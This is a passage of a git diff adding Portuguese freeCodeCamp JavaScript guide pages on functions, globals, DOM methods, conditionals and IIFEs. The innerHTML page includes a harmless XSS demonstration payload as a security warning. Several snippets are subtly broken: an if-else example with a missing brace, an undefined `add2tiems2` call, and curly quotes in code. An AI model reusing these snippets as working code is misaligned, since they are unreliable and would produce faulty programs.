+A leitura da composição da esquerda para a direita permite um claro encadeamento de funções de ordem superior. Exemplos do mundo real estão adicionando autenticações, registro e propriedades de contexto. É uma técnica que permite a reutilização no mais alto nível. Aqui estão alguns exemplos de como usá-lo:
+
+```javascript
+// example 
+ const add2        = (n) => n + 2; 
+ const times2      = (n) => n * 2; 
+ const times2add2  = compose(add2, times2); 
+ const add6        = compose(add2, add2, add2); 
+ 
+ times2add2(2);  // 6 
+ add2tiems2(2);  // 8 
+ add6(2);        // 8 
+```
+
+Você pode pensar que isso é uma programação funcional avançada e não é relevante para programação frontend. Mas também é útil em aplicativos de página única. Por exemplo, você pode adicionar comportamento a um componente React usando componentes de ordem superior:
+
+```javascript
+function logProps(InputComponent) { 
+  InputComponent.prototype.componentWillReceiveProps = function(nextProps) { 
+    console.log('Current props: ', this.props); 
+    console.log('Next props: ', nextProps); 
+  }; 
+  return InputComponent; 
+ } 
+ 
+ // EnhancedComponent will log whenever props are received 
+ const EnhancedComponent = logProps(InputComponent); 
+```
+
+Em conclusão, a composição da função permite a reutilização da funcionalidade em um nível muito alto. Se as funções forem bem estruturadas, permitirá que os desenvolvedores criem novos comportamentos com base no comportamento existente.
+
+Também aumenta a legibilidade das implementações. Em vez de funções de aninhamento, você pode limpar funções de cadeia e criar funções de ordem superior com nomes significativos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/function-invocation/index.md b/client/src/guide/portuguese/javascript/function-invocation/index.md
new file mode 100644
index 0000000000..588275248b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/function-invocation/index.md
@@ -0,0 +1,71 @@
+---
+title: Function Invocation
+localeTitle: Função Invocação
+---
+## Função Invocação
+
+O código dentro de uma função é executado quando a função é invocada. É comum usar o termo "chamar uma função" em vez de "invocar uma função".
+
+As funções devem estar no escopo quando são chamadas. O escopo de uma função é a função na qual ela é declarada ou o programa inteiro, se for declarado no nível superior.
+
+```javascript
+function myFunction(a, b) { 
+  return a * b; 
+ } 
+ myFunction(10, 2);           // Function invocation, will return 20 
+ 
+ //optional parameters (es6 only) 
+ //allow to set optional parameters 
+ 
+ function myFunction(a, b = 10) { 
+  return a * b; 
+ } 
+ myFunction(1);           // Function invocation, will return 10 
+ myFunction(1,5);           // Function invocation, will return 5 
+```
+
+No código de exemplo, aeb são os parâmetros da função que contêm os valores 10 e 2, que são os argumentos usados ​​na chamada de função.
+
+### Invocando uma função como um método
+
+Em JavaScript, você pode definir funções como métodos de objeto.
+
+O exemplo a seguir cria um objeto ( `myObject` ), com duas propriedades ( `firstName` e `lastName` ) e um método ( `fullName` ):
+
+```javascript
+var myObject = { 
+  firstName:"John", 
+  lastName: "Doe", 
+  fullName: function () { 
+    return this.firstName + " " + this.lastName; 
+  } 
+ } 
+ myObject.fullName();         // Function invoked as a method, will return "John Doe" 
+```
+
+### Funções de seta
+
+Na versão mais recente do Javascript, você também pode reduzir a sintaxe usando as Funções de seta. A seguir demonstra duas funções. Um é escrito na forma padrão, um é escrito como uma função de seta. Lembre-se de que as funções de seta não têm isso, argumentos, super ou new.target.
+
+```javascript
+//regular function 
+ 
+ function addStuff(args) { 
+   return args + 2; 
+ } 
+ 
+ addStuff(2); 
+ //returns 4 
+ 
+ //arrow function 
+ 
+ var addStuff = (args) => args + 2; 
+ addStuff(2); 
+ //returns 4 
+```
+
+Essa versão abreviada da função de seta tem um retorno implícito, portanto você não especifica uma instrução de retorno.
+
+### Mais Informações:
+
+*   Documentação de função: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/functions-list/index.md b/client/src/guide/portuguese/javascript/functions-list/index.md
new file mode 100644
index 0000000000..8d74ba5f59
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/functions-list/index.md
@@ -0,0 +1,61 @@
+---
+title: Functions List
+localeTitle: Lista de funções
+---
+![Logo não oficial do JS](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0584980f425bfbbe1e14001557ff4f5bab8f61ec.jpg)
+
+JavaScript (JS) é uma linguagem de programação leve e interpretada com funções de primeira classe. Mais conhecida como a linguagem de script para páginas da Web, muitos ambientes que não são de navegador também a utilizam, como [node.js](https://nodejs.org) e [Apache CouchDB](http://couchdb.apache.org/) . JS é uma linguagem de script dinâmica, multi-paradigmática e baseada em protótipos, que suporta estilos orientados a objetos, imperativos e declarativos (por exemplo, programação funcional).
+
+O JavaScript é executado no lado do cliente da Web, que pode ser usado para projetar / programar como as páginas da Web se comportam na ocorrência de um evento. JavaScript é uma linguagem de script fácil de aprender e também poderosa, amplamente usada para controlar o comportamento de páginas da web.
+
+[Os documentos JavaScript do MDN do Google](https://developer.mozilla.org/en-US/docs/Web/JavaScript) Checkout são um ótimo recurso para o aprendizado.
+
+Nós também temos ótimos artigos em nosso wiki:
+
+*   [Vantagens e desvantagens do JavaScript](http://forum.freecodecamp.com/t/advantages-and-disadvantages-of-javascript/14280)
+*   **Tipos de dados JavaScript:**
+*   [Booleanos](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+*   **Strings JavaScript:**
+*   [String.prototype.charAt ()](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [String.prototype.charCodeAt ()](http://forum.freecodecamp.com/t/javascript-string-prototype-charcodeat/15933)
+*   [String.prototype.concat ()](http://forum.freecodecamp.com/t/javascript-string-prototype-concat/15935)
+*   [String.prototype.indexOf ()](https://forum.freecodecamp.org/t/javascript-string-prototype-indexof/15936)
+*   [String.prototype.lastIndexOf ()](http://forum.freecodecamp.com/t/string-prototype-lastindexof/15939)
+*   [String.prototype.match ()](http://forum.freecodecamp.com/t/javascript-string-prototype-match/15941)
+*   [String.prototype.replace ()](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [String.prototype.slice ()](http://forum.freecodecamp.com/t/javascript-string-prototype-slice/15943)
+*   [String.prototype.split ()](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [String.prototype.substr ()](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+*   [String.prototype.substring ()](http://forum.freecodecamp.com/t/javascript-string-prototype-substring/15947)
+*   [String.prototype.toLowerCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [String.prototype.toUpperCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   **Matrizes JavaScript:**
+*   [Array.isArray ()](http://forum.freecodecamp.com/t/javascript-array-isarray/14284)
+*   [Array.prototype.concat ()](http://forum.freecodecamp.com/t/javascript-array-prototype-concat/14286)
+*   [Array.prototype.every ()](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+*   [Array.prototype.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+*   [Array.prototype.forEach ()](http://forum.freecodecamp.com/t/javascript-array-prototype-foreach/14290)
+*   [Array.prototype.indexOf ()](http://forum.freecodecamp.com/t/javascript-array-prototype-indexof/14291)
+*   [Array.prototype.join ()](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+*   [Array.prototype.lastIndexOf ()](http://forum.freecodecamp.com/t/javascript-array-prototype-lastindexof/14293)
+*   [Array.prototype.map ()](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [Array.prototype.pop ()](http://forum.freecodecamp.com/t/javascript-array-prototype-pop/14296)
+*   [Array.prototype.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [Array.prototype.reduce ()](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Array.prototype.reverse ()](http://forum.freecodecamp.com/t/javascript-array-prototype-reverse/14300)
+*   [Array.prototype.shift ()](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [Array.prototype.slice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [Array.prototype.some ()](http://forum.freecodecamp.com/t/javascript-array-prototype-some/14304)
+*   [Array.prototype.sort ()](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [Array.prototype.splice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-splice/14307)
+*   [Array.prototype.toString ()](http://forum.freecodecamp.com/t/javascript-array-prototype-tostring/14308)
+*   [Array.prototype.unshift ()](http://forum.freecodecamp.com/t/javascript-array-prototype-unshift/14309)
+*   **Loops JavaScript:**
+*   [rotações](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [While Loop](http://forum.freecodecamp.com/t/javascript-while-loop/14668)
+*   [Do While Loop](http://forum.freecodecamp.com/t/javascript-do-while-loop/14662)
+*   [Para loop](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [Para em loop](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
+*   [Para o laço](http://forum.freecodecamp.com/t/javascript-for-of-loop/14671)
+
+Confira nossos outros artigos sobre JavaScript: [https://www.freecodecamp.com/wiki](https://www.freecodecamp.com/wiki) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/get-timestamp/index.md b/client/src/guide/portuguese/javascript/get-timestamp/index.md
new file mode 100644
index 0000000000..8622ee335d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/get-timestamp/index.md
@@ -0,0 +1,9 @@
+---
+title: Get Timestamp
+localeTitle: Obter timestamp
+---
+Você pode usar `Date.now()` para obter o timestamp atual em milissegundos.
+
+Você pode facilmente converter o timestamp para segundos como este: `Math.floor(Date.now() / 1000)`
+
+Se o seu navegador não suportar `Date.now()` , você poderá usar o `new Date().getTime()` para obter o registro de data e hora em milissegundos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/global-object/index.md b/client/src/guide/portuguese/javascript/global-object/index.md
new file mode 100644
index 0000000000..de693207f1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/global-object/index.md
@@ -0,0 +1,43 @@
+---
+title: Global Object
+localeTitle: Objeto Global
+---
+O objeto global é um objeto inicializado pelo intérprete JavaScript antes de o código ser executado. Todas as variáveis ​​declaradas no escopo global (consulte: [Escopos](http://forum.freecodecamp.com/t/scopes-in-javascript/14696) ) são armazenadas no objeto global como propriedades.
+
+Em um ambiente Node.js, o objeto global pode ser acessado pela palavra-chave `global` , enquanto em uma janela do navegador ele pode ser acessado pela palavra-chave da `window` . A palavra `this` chave `this` também se refere ao objeto global quando usado no escopo global. Por favor, note que usar `this` no escopo global retornará `undefined` se `strict mode` estiver habilitado.
+
+Por exemplo:
+
+```javascript
+// global scope 
+ var foo = "bar"; 
+ 
+ console.log(global.foo); // bar (in a Node environment) 
+ console.log(window.foo); // bar (in a browser window) 
+ console.log(this.foo); // bar (if strict mode is disabled) 
+```
+
+A distinção entre escopos locais para funções e o escopo global é importante aqui: o objeto global contém apenas as variáveis ​​que foram declaradas no escopo global, não os escopos locais de funções.
+
+O objeto global também contém as propriedades `NaN` , `undefined` e `Infinity` e as seguintes funções:
+
+1.  `decodeURI()`
+2.  `decodeURIComponent()`
+3.  `encodeURI()`
+4.  `encodeURIComponent()`
+5.  `escape()`
+6.  `eval()`
+7.  `GetObject()`
+8.  `isFinite()`
+9.  `isNaN()`
+10.  `parseFloat()`
+11.  `parseInt()`
+12.  `ScriptEngine()`
+13.  `ScriptEngineBuildVersion()`
+14.  `ScriptEngineMajorVersion()`
+15.  `ScriptEngineMinorVersion()`
+16.  `unescape()`
+
+# Referências
+
+1.  MSDN: [Objeto Global (Javascript)](https://msdn.microsoft.com/en-us/library/52f50e9t)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/global-variables/index.md b/client/src/guide/portuguese/javascript/global-variables/index.md
new file mode 100644
index 0000000000..1531670c62
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/global-variables/index.md
@@ -0,0 +1,67 @@
+---
+title: Global Variables
+localeTitle: Variáveis ​​globais
+---
+Variáveis ​​globais são declaradas fora de uma função para acessibilidade em todo o programa, enquanto variáveis ​​locais são armazenadas dentro de uma função usando `var` para uso somente dentro do [escopo](https://developer.mozilla.org/en-US/docs/Glossary/Scope) dessa função. Se você declarar uma variável sem usar `var` , mesmo que esteja dentro de uma função, ela ainda será vista como global:
+
+```javascript
+var x = 5; //global 
+ function someThing(y) { 
+ var z = x + y; 
+ console.log(z); 
+ } 
+ 
+ function someThing(y) { 
+ x = 5; //still global! 
+ var z = x + y; 
+ console.log(z); 
+ } 
+ 
+ 
+ function someThing(y) { 
+ var x = 5; //local 
+ var z = x + y; 
+ console.log(z); 
+ } 
+```
+
+Uma variável global também é um objeto do escopo atual, como a janela do navegador:
+
+```javascript
+var dog = “Fluffy”; 
+ console.log(dog); //Fluffy; 
+ 
+ var dog = “Fluffy”; 
+ console.log(window.dog); //Fluffy 
+```
+
+É uma prática recomendada minimizar as variáveis ​​globais. Como a variável pode ser acessada em qualquer lugar do programa, elas podem causar um comportamento estranho.
+
+Referências:
+
+*   [var -Javascript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
+*   [Você não sabe JavaScript: escopos e fechamentos](https://github.com/getify/You-Dont-Know-JS/tree/master/scope%20%26%20closures)
+
+Informação adicional:
+
+*   [Melhores Práticas JavaScript: Evite Globals](http://www.w3.org/wiki/JavaScript_best_practices#Avoid_globals)
+
+## \* [Qual é a diferença entre um var global e uma janela.variável em javascript?](https://stackoverflow.com/questions/6349232/whats-the-difference-between-a-global-var-and-a-window-variable-in-javascript)
+
+O escopo das variáveis ​​JavaScript é global ou local. As variáveis ​​globais são declaradas FORA da função e seu valor é acessível / modificável em todo o programa.
+
+Você deve sempre usar **var** para declarar suas variáveis ​​(para fazer localmente) senão ele irá instalar GLOBALLY
+
+Tome cuidado com as variáveis ​​globais porque elas são arriscadas. Na maioria das vezes você deve usar encerramentos para declarar suas variáveis. Exemplo:
+
+```javascript
+    (function(){ 
+      var myVar = true; 
+    })(); 
+```
+
+#### Mais Informações:
+
+*   [Melhores Práticas JavaScript: Evite Globals](http://www.w3.org/wiki/JavaScript_best_practices#Avoid_globals)
+*   [Variáveis ​​globais são ruins](http://c2.com/cgi/wiki?GlobalVariablesAreBad)
+*   [MDN - Variáveis ​​Globais](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/higher-order-functions/index.md b/client/src/guide/portuguese/javascript/higher-order-functions/index.md
new file mode 100644
index 0000000000..1dad578b03
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/higher-order-functions/index.md
@@ -0,0 +1,41 @@
+---
+title: Higher Order Functions
+localeTitle: Funções de ordem superior
+---
+## Funções de ordem superior
+
+Uma função de ordem superior é qualquer função que retorna uma função quando executada, assume uma função como um ou mais de seus argumentos ou ambos. Se você usou algum dos métodos `Array` como `map` ou `filter` , ou passou uma função de callback para o `$.get` do jQuery, você já trabalhou com Higher Order Functions.
+
+Quando você usa `Array.map` , você fornece uma função como seu único argumento, que se aplica a todos os elementos contidos na matriz.
+
+```javascript
+var arr = [ 1, 2, 3 ]; 
+ 
+ var arrDoubled = arr.map(function(num) { 
+  return num * 2; 
+ }); 
+ 
+ console.log(arrDoubled); // [ 2, 4, 6 ] 
+```
+
+Funções de ordem mais alta também podem retornar uma função. Por exemplo, você pode fazer uma função chamada `multiplyBy` que recebe um número e retorna uma função que multiplica outro número fornecido pelo primeiro número fornecido. Você pode usar essa abordagem para criar uma função `multiplyByTwo` para passar para `Array.map` . Isso lhe dará o mesmo resultado que você viu acima.
+
+```javascript
+function multiplyBy(num1) { 
+  return function(num2) { 
+    return num1 * num2; 
+  } 
+ } 
+ 
+ var multiplyByTwo = multiplyBy(2); 
+ 
+ var arr = [ 1, 2, 3 ]; 
+ 
+ var arrDoubled = arr.map(multiplyByTwo); 
+ 
+ console.log(arrDoubled); // [ 2, 4, 6 ] 
+```
+
+Consulte o guia sobre [Closures](https://guide.freecodecamp.org/javascript/closures) para obter mais informações sobre como o `multiplyByTwo` mantém uma referência a `num1` no exemplo acima.
+
+[Mais informações sobre Closures](https://eloquentjavascript.net/05_higher_order.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/html-dom-getelementbyid-method/index.md b/client/src/guide/portuguese/javascript/html-dom-getelementbyid-method/index.md
new file mode 100644
index 0000000000..5898494e93
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/html-dom-getelementbyid-method/index.md
@@ -0,0 +1,40 @@
+---
+title: HTML DOM getElementById Method
+localeTitle: Método getElementById do HTML DOM
+---
+O método `getElementById()` retorna o elemento que possui o atributo id com o valor especificado. É preciso um argumento, que é uma string com distinção entre maiúsculas e minúsculas para o elemento que você deseja.
+
+Esse método é um dos métodos mais comuns no HTML DOM e é usado quase sempre que você deseja manipular ou obter informações de um elemento em seu documento. Aqui está um exemplo simples da sintaxe:
+
+**Conteúdo HTML:**
+
+```html
+
+<div id="demo"></div> 
+```
+
+**Conteúdo JavaScript:**
+
+```javascript
+document.getElementById("demo"); // Returns the element with id "demo" 
+```
+
+Se você tiver mais de um elemento com o mesmo valor de `id` (má prática!), `getElementById` retornará o primeiro elemento encontrado:
+
+```html
+
+<div id="demo">First</div> 
+ <div id="demo">Second</div> 
+```
+
+```javascript
+document.getElementById("demo"); // Returns the element with id "demo" containing 'First' 
+```
+
+#### Mais Informações:
+
+[document.getElementById ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById)
+
+#### Soluções alternativas:
+
+Uma alternativa comumente usada para `document.getElementById` é usar um seletor jQuery sobre o qual você lê mais [aqui](https://github.com/freeCodeCamp/guides/tree/master/src/pages/jquery) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/html-dom-innerhtml-property/index.md b/client/src/guide/portuguese/javascript/html-dom-innerhtml-property/index.md
new file mode 100644
index 0000000000..22315439e4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/html-dom-innerhtml-property/index.md
@@ -0,0 +1,60 @@
+---
+title: HTML Dom Innerhtml Property
+localeTitle: Propriedade HTML Dom Innerhtml
+---
+## Propriedade HTML Dom Innerhtml
+
+O `innerHTML` prop retorna o conteúdo HTML dentro de um elemento selecionado e também permite definir um novo conteúdo HTML.
+
+**_OBTER O CONTEÚDO DO ELEMENTO_**
+
+```html
+
+<div id="demo"> 
+  <p>Demo</p> 
+ </div> 
+```
+
+```javascript
+var element = document.getElementById("demo"); 
+ console.log(element.innerHTML) //logs <p>Demo</p> 
+```
+
+**_CONTEÚDO DO ELEMENTO DO ELEMENTO_**
+
+```html
+
+<div id="demo"></div> 
+```
+
+```javascript
+var element = document.getElementById("demo"); 
+ element.innerHTML = "<div>Demo</div>"; 
+```
+
+O HTML agora será como
+
+```html
+
+<div id="demo"> 
+  <div>Demo</div> 
+ </div> 
+```
+
+**_CONSIDERAÇÕES DE SEGURANÇA_**
+
+O valor definido como `innerHTML` deve vir de fontes confiáveis, pois o JavaScript colocará qualquer coisa dentro desse elemento e será executado como HTML simples.
+
+Exemplo:
+
+Definir um valor " `<script>alert();</script>` " fará com que a função "alert" () JavaScript seja acionada:
+
+```javascript
+var element = document.getElementById("demo"); 
+ 
+ element.innerHTML = "<script>alert();</script>"; 
+```
+
+Esse tipo de ataque é chamado de [Cross Site Scripting ou XSS, abreviado](https://en.wikipedia.org/wiki/Cross-site_scripting) .
+
+Esta é uma das formas mais comuns de cometer um ataque XSS. Se você quer aprender um pouco mais e aprender a se defender, [confira este recurso](https://xss-game.appspot.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/html-dom-queryselector/index.md b/client/src/guide/portuguese/javascript/html-dom-queryselector/index.md
new file mode 100644
index 0000000000..7310807edf
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/html-dom-queryselector/index.md
@@ -0,0 +1,38 @@
+---
+title: HTML DOM querySelector()
+localeTitle: HTML DOM querySelector ()
+---
+O método Documento `querySelector()` retorna o `first` Elemento dentro do documento que corresponde ao seletor especificado ou grupo de seletores. Se nenhuma correspondência for encontrada, será retornado nulo.
+
+**Conteúdo HTML:**
+
+```html
+
+<div id="id-example"></div> 
+ <div class="class-example"></div> 
+ <a>element-example</a> 
+```
+
+**Conteúdo JavaScript:**
+
+```javascript
+document.querySelector("#id-example"); // Returns the element with id "id-example" 
+ document.querySelector(".class-example"); // Returns the element with class "class-example" 
+ document.querySelector("a"); // Returns the "a" element 
+```
+
+Nota `querySelector()` retorna o primeiro elemento correspondente, para retornar todas as correspondências, use o método querySelectorAll ().
+
+```html
+
+<div id="example">First</div> 
+ <div id="example">Second</div> 
+```
+
+```javascript
+document.querySelector("#example"); // Returns only the element containing 'First' 
+```
+
+#### Mais Informações:
+
+[MDN - document.querySelector ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/html-dom/index.md b/client/src/guide/portuguese/javascript/html-dom/index.md
new file mode 100644
index 0000000000..6f7aed929b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/html-dom/index.md
@@ -0,0 +1,44 @@
+---
+title: HTML Dom
+localeTitle: HTML Dom
+---
+## HTML Dom
+
+Com o HTML DOM, o JavaScript pode acessar e alterar todos os elementos de um documento HTML.
+
+Quando uma página da web é carregado, o navegador cria um **D** ocument **O** bject **M** odelo da página.
+
+O modelo HTML DOM é construído como uma árvore de objetos:
+
+Cada elemento no DOM também é chamado de nó.
+
+```html
+
+<html> 
+ <head> 
+  <title> My title </title> 
+ </head> 
+ <body> 
+  <a href="#">My Link</a> 
+  <h1> My header </h1> 
+ </body> 
+ </html> 
+```
+
+O DOM do HTML acima é o seguinte:
+
+![Árvore DOM](https://www.w3schools.com/js/pic_htmltree.gif)
+
+Com o modelo de objeto, o JavaScript obtém todo o poder necessário para criar HTML dinâmico:
+
+*   JavaScript pode mudar todos os elementos HTML da página
+*   JavaScript pode alterar todos os atributos HTML na página
+*   JavaScript pode mudar todos os estilos CSS na página
+*   JavaScript pode remover elementos e atributos HTML existentes
+*   JavaScript pode adicionar novos elementos e atributos HTML
+*   JavaScript pode reagir a todos os eventos HTML existentes na página
+*   JavaScript pode criar novos eventos HTML na página
+
+#### Mais Informações:
+
+[W3C - DOM HTML](https://www.w3schools.com/js/js_htmldom.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/if-else-statement/index.md b/client/src/guide/portuguese/javascript/if-else-statement/index.md
new file mode 100644
index 0000000000..f67a27a1fa
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/if-else-statement/index.md
@@ -0,0 +1,73 @@
+---
+title: If-Else Statement
+localeTitle: Declaração If-Else
+---
+## Introdução
+
+A instrução `if` executa uma instrução se uma condição especificada for `true` . Se a condição for `false` , outra instrução pode ser executada usando a instrução `else` .
+
+**Nota:** A instrução `else` é opcional.
+
+```javascript
+if (condition) 
+    /* do something */ 
+ else 
+    /* do something else */ 
+```
+
+Múltiplas instruções `if...else` podem ser encadeadas para criar uma cláusula `else if` . Isso especifica uma nova condição para testar e pode ser repetida para testar várias condições, verificando até que uma declaração verdadeira seja apresentada para execução.
+
+```javascript
+if (condition1) 
+    /* do something */ 
+ else if (condition2) 
+    /* do something else */ 
+ else if (condition3) 
+    /* do something else */ 
+ else 
+    /* final statement */ 
+```
+
+**Nota:** Se você deseja executar mais de uma instrução no `if` , `else` ou `else if` part, chaves são necessárias em torno das instruções:
+
+```javascript
+if (condition) { 
+    /* do */ 
+    /* something */ 
+    /* with multiple statements */ 
+ } else { 
+    /* do something */ 
+    /* else */ 
+ } 
+```
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else) | [Link do MSDN](https://msdn.microsoft.com/en-us/library/85yyde5c.aspx)
+
+## Exemplos
+
+**Usando** `if...else` :
+
+```javascript
+    // If x=5 z=7 and q=42. If x is not 5 then z=19. 
+    if (x == 5) { 
+      z = 7; 
+      q = 42 
+    else 
+      z = 19; 
+```
+
+**Usando** `else if` :
+
+```javascript
+if (x < 10) 
+    return "Small number"; 
+ else if (x < 50) 
+    return "Medium number"; 
+ else if (x < 100) 
+    return "Large number"; 
+ else { 
+    flag = 1; 
+    return "Invalid number"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/immediately-invoked-functions-expressions/index.md b/client/src/guide/portuguese/javascript/immediately-invoked-functions-expressions/index.md
new file mode 100644
index 0000000000..9c281ff090
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/immediately-invoked-functions-expressions/index.md
@@ -0,0 +1,60 @@
+---
+title: Immediately Invoked Functions Expressions(IIFEs)
+localeTitle: Expressões de Funções Imediatamente Invocadas (IIFEs)
+---
+## Declaração de Função
+
+Uma função criada com uma declaração de função é um objeto Function e possui todas as propriedades, métodos e comportamento dos objetos Function. Exemplo:
+
+```javascript
+  function statement(item){ 
+    console.log('Function statement example '+ item); 
+  } 
+```
+
+## Expressão de Função
+
+Uma expressão de função é semelhante à instrução de função, exceto que o nome da função pode ser omitido para criar funções anônimas. Exemplo:
+
+```javascript
+  var expression = function (item){ 
+    console.log('Function expression example '+ item); 
+  } 
+```
+
+## Expressões de Funções Imediatamente Invocadas
+
+Logo que a função é criada, ela não precisa invocar explicitamente. Na variável de exemplo abaixo, iife armazenará uma string retornada pela execução da função.
+
+```javascript
+  var iife = function (){ 
+    return 'Immediately Invoked Function Expressions(IIFEs) example '; 
+  }(); 
+  console.log(iife); // 'Immediately Invoked Function Expressions(IIFEs) example ' 
+```
+
+A declaração antes do IIFE deve sempre terminar com a; ou isso causará um erro.
+
+**Exemplo ruim** :
+
+```javascript
+var x = 2 //no semicolon, will throw error 
+ (function(y){ 
+  return x; 
+ })(x); //Uncaught TypeError: 2 is not a function 
+```
+
+## Por que usar expressões de funções invocadas imediatamente?
+
+```javascript
+  (function(value){ 
+    var greet = 'Hello'; 
+    console.log(greet+ ' ' + value); 
+  })('IIFEs'); 
+```
+
+No exemplo acima, quando o mecanismo de javascript executa o código acima, ele cria um contexto de execução global quando vê um código e cria um objeto de função na memória para o IIFE. E quando chega na linha `46` devido a qual função é Invocada, um novo contexto de execução é criado em tempo real e assim que a variável greet entra nesse contexto de execução da função, não no global, isto é o que o torna único. `This ensures that code inside IIFE does not interfere with other code or be interfered by another code` e, portanto, o código é seguro.
+
+#### Mais Informações
+
+[Expressão de função invocada imediatamente na Wikipedia](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) [O que o ponto-e-vírgula líder nas bibliotecas JavaScript faz?](https://stackoverflow.com/questions/1873983/what-does-the-leading-semicolon-in-javascript-libraries-do)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/immutable-types/index.md b/client/src/guide/portuguese/javascript/immutable-types/index.md
new file mode 100644
index 0000000000..b630169944
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/immutable-types/index.md
@@ -0,0 +1,21 @@
+---
+title: Immutable Types
+localeTitle: Tipos imutáveis
+---
+> Imutável significa imutável, ou seja, você não pode mudar.
+
+Javascript tem muitos tipos imutáveis, por exemplo, tipo primitivo de `string` . Tente isso no seu console.
+```
+s = "red"; 
+ console.log(s[1]); //→ "e" 
+ s[1] = "x"; 
+ console.log(s) //→ "red" 
+```
+
+os `s` não mudaram! WAT !
+
+## Detalhes
+
+Alguns métodos de string como `String.replace` retornam uma nova string.
+
+O JavaScript possui um tipo de dados complexo, o tipo de dados Object, e possui cinco tipos de dados simples: Number, String, Boolean, Undefined e Null. Esses tipos de dados simples (primitivos) são imutáveis ​​(não podem ser alterados), enquanto os objetos são mutáveis ​​(podem ser alterados).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/index.md b/client/src/guide/portuguese/javascript/index.md
new file mode 100644
index 0000000000..1a580d36e3
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/index.md
@@ -0,0 +1,35 @@
+---
+title: JavaScript
+localeTitle: JavaScript
+---
+## JavaScript
+
+JavaScript é a linguagem de script mais usada na Terra. E tem o maior ecossistema de bibliotecas de qualquer linguagem de programação.
+
+JavaScript é a principal linguagem da web e a única linguagem de programação que pode ser executada em todos os principais navegadores da web.
+
+Notavelmente, o JavaScript não tem relação com o Java. [JavaScript: a linguagem de programação mais incompreendida do mundo](http://www.crockford.com/javascript/javascript.html)
+
+O nome oficial do JavaScript é ECMAScript definido sob o padrão [ECMA-262](https://www.ecma-international.org/publications/standards/Ecma-262.htm)
+
+Se você quiser aprender mais sobre a linguagem JavaScript e por que ela é tão usada, leia o artigo de Quincy Larson - [Qual linguagem de programação devo aprender primeiro?](https://medium.freecodecamp.org/what-programming-language-should-i-learn-first-%CA%87d%C4%B1%C9%B9%C9%94s%C9%90%CA%8C%C9%90%C9%BE-%C9%B9%C7%9D%CA%8Dsu%C9%90-19a33b0a467d) - ou assista a este [vídeo inspirador de Preethi Kasireddy](https://www.youtube.com/watch?v=VqiEhZYmvKk) .
+
+## Mecanismos de JavaScript autônomos
+
+Mozilla's SpiderMonkey, o primeiro mecanismo de JavaScript já escrito, atualmente usado no Mozilla Firefox. V8, o mecanismo JavaScript do Google, usado no Google Chrome.
+
+Google Apps Script, um interpretador do lado do servidor / baseado na nuvem que fornece controle "macro" programático de serviços e documentos do Google Apps.
+
+Node.js, construído sobre o V8, uma plataforma que permite que aplicativos do lado do servidor sejam escritos em JavaScript.
+
+O Windows inclui o JScript, uma variante do JavaScript no Windows Script Host.
+
+Chakra, um fork do Jscript, é desenvolvido pela Microsoft e usado em seu navegador Edge.
+
+A Mozilla também oferece o Rhino, uma implementação de JavaScript construída em Java, normalmente incorporada em aplicativos Java para fornecer scripts aos usuários finais.
+
+O WebKit (exceto o projeto Chromium) implementa o mecanismo JavaScriptCore.
+
+## Frameworks JavaScript
+
